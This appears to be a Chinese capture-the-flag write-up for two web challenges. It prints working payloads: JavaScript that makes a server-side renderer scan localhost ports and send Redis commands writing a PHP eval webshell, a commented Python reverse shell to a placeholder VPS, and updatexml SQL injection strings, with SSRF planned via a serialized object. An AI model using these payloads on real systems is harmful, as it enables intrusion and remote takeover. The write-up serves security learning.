1.spider
-
0x01题目描述
根据描述,应该会去解析你上传的文件,如果是html文件,会将a标签的内容进行输出,写一个html文件进行测试
</pre> <!DOCTYPE html> <html> <head> <title>sss</title> </head> <body> <a id="111">111</a> <script> var a = document.getElementById("111"); a.innerHTML="解析js"; </script> </body> </html> <pre>
结果如下,证明我们的猜测是对的,本以为后台会有robot去点击我们的页面,试着xss打一波cookie,结果并没有什么卵用
继续访问robots.txt页面发现一个/get_sourcecode
的目录,仿问这个目录,发现要127.0.0.1才可以,尝试ip头的伪造,无果,猜测多半是remote_addr。
-
0x02尝试获取网页源码
换个思路:结合前面的js解析页面,可以尝试用XMLHttpRequest拿源码,代码如下:
</pre> <!DOCTYPE html> <html> <head> <title>sss</title> </head> <body> <a id="111">111</a> <script> function createXmlHttp() { //根据window.XMLHttpRequest对象是否存在使用不同的创建方式 if (window.XMLHttpRequest) { xmlHttp = new XMLHttpRequest(); //FireFox、Opera等浏览器支持的创建方式 } else { xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");//IE浏览器支持的创建方式 } } //直接通过XMLHttpRequest对象获取远程网页源代码 function getSource(url) { createXmlHttp(); //创建XMLHttpRequest对象 xmlHttp.onreadystatechange = writeSource; //设置回调函数 xmlHttp.open("GET", url, true); xmlHttp.send(null); } //将远程网页源代码写入页面文字区域 function writeSource() { if (xmlHttp.readyState == 4) { document.getElementById("111").innerHTML = xmlHttp.responseText; } } var url ='http://127.0.0.1/get_sourcecode'; getSource(url); </script> </body> </html> <pre>
成功拿到源码:
#!/usr/bin/env python # -*- encoding: utf-8 -*- from flask import Flask, request from flask import render_template import os import uuid import tempfile import subprocess import time import json app = Flask(__name__, static_url_path='') def proc_shell(cmd): out_temp = tempfile.SpooledTemporaryFile(bufsize=1000 * 1000) fileno = out_temp.fileno() proc = subprocess.Popen(cmd, stderr=subprocess.PIPE, stdout=fileno, shell=False) start_time = time.time() while True: if proc.poll() == None: if time.time() - start_time &amp;amp;amp;amp;amp;amp;amp;amp;gt; 30: proc.terminate() proc.kill() proc.communicate() out_temp.seek(0) out_temp.close() return else: time.sleep(1) else: proc.communicate() out_temp.seek(0) data = out_temp.read() out_temp.close() return data def casperjs_html(url): cmd = 'casperjs {0} —ignore-ssl-errors=yes —url={1}'.format( os.path.dirname(__file__) + '/casper/casp.js', url) cmd = cmd.split(' ') stdout = proc_shell(cmd) try: result = json.loads(stdout) links = result.get('resourceRequestUrls') return links except Exception, e: return [] @app.route('/', methods=['GET', 'POST']) def index(): if request.method == 'GET': return render_template('index.html') else: f = request.files['file'] filename = str(uuid.uuid1()) + '.html' basepath = os.path.dirname(__file__) upload_path = os.path.join(basepath, 'static/upload/', filename) content = f.read() # hint if 'level=low_273eac1c' not in content and 'dbfilename' in content.lower(): return render_template('index.html', msg=u'Warning: 发现恶意关键字') # hint with open(upload_path, 'w') as f: f.write(content) url = 'http://127.0.0.1:80/upload/' + filename links = casperjs_html(url) links = '\n'.join(links) if not links: links = 'NULL' links = 'URL: ' + url + '\n' + links return render_template('index.html', links=links) @app.route('/get_sourcecode', methods=['GET', 'POST']) def get_code(): if request.method == 'GET': ip = request.remote_addr if ip != '127.0.0.1': return 'NOT 127.0.0.1' else: with open(os.path.dirname(__file__) + '/run.py') as f: code = f.read() return code else: return '' @app.errorhandler(404) def page_not_found(error): return '404' @app.errorhandler(500) def internal_server_error(error): return '500' @app.errorhandler(403) def unauthorized(error): return '403' if __name__ == '__main__': pass
-
0x03利用redis写webshell
发现hint,dbfilename,老手一看便知道是redis了:
那么这道题的思路就很清晰了:利用redis的未授权写webshell(或者直接读取flag.php),先扫描一下开启了哪些端口:
<!DOCTYPE html> <html> <head> <title>sss</title> </head> <body> <a id="111">111</a> <script> var data = ''; var body = document.getElementsByTagName("body")[0]; ports=[80,81,88,6379,8000,8080,8081]; for(var i in ports){ var script = document.createElement("script"); script.src="http://127.0.0.1:" + ports[i]; script.setAttribute("onload","data += '" + ports[i] + " OPEN; '; document.getElementById('111').innerHTML = data;"); body.appendChild(script); } </script> </body> </html>
(ps:这里出现一个小坑,6379扫描出来是关闭的但是实际上是开启了的,具体原因不明)结合题目后来给的提示8000开启了apache,这样就可以利用
redis向apache默认web路径/var/www/html/下写入webshell:
构造webshell:
</pre> level=low_273eac1c <!DOCTYPE html> <html> <head> <title>test</title> <meta charset="utf-8"> </head> <body> <a id="flag">a标签的测试</a> <script> var xmlhttp; if(window.XMLHttpRequest){ xmlhttp = new XMLHttpRequest(); }else{ xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } var data = new FormData(); data.append("0","flushall" + "\r\nconfig set dir /var/www/html/" + "\r\nconfig set dbfilename shell1.php" +'\r\nset 1 "\\n\\n<?Php header(\'Access-Control-Allow-Origin:*\'); eval($_GET[\'flag\']);?>\\n\\n"' + "\r\nsave" + "\r\nquit"); xmlhttp.open("POST","http://127.0.0.1:6379",true); xmlhttp.send(data); </script> </body> </html> <pre>
然后构造访问文件:
<a href="" id="flag">test</a> <script type="text/javascript"> function loadXMLDoc(){ var xmlhttp; if (window.XMLHttpRequest){ xmlhttp=new XMLHttpRequest(); } else{ xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function(){ if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.getElementById("flag").innerHTML=xmlhttp.responseText; } } xmlhttp.open("GET","http://127.0.0.1:8000/shell1.php?flag=system('cat%20flag.php');",true); xmlhttp.send(); /* 反弹shell xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?s=`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"VPSIP\",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'`;",true) */ } loadXMLDoc(); </script>
2.facebook
-
0x01题目分析
进行注册后发现在view.php页面会将blog的内容展示出来,并且此页面的no参数存在注入并且在robots.txt页面中可以得到user.php.bak的源码:
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }
-
0x02注入查询
and updatexml(1,make_set(3,'~',(select column_name from information_schema.columns where table_schema=database())),1) and updatexml(1,make_set(3,'~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1)),1) and updatexml(1,make_set(3,'~',(select data from users)),1)
可得到表users中:
1.no
2.username
3.passwd
4.data
查询data列发现一个序列化对象UserInfo和user.php源码的类相同:
结合view.php会加载blog内容,极有可能加载的便是数据库中data的序列化内容,那么我们便可以构造一个ssrf,即构造一个union查询来加载flag.php:
Comments NOTHING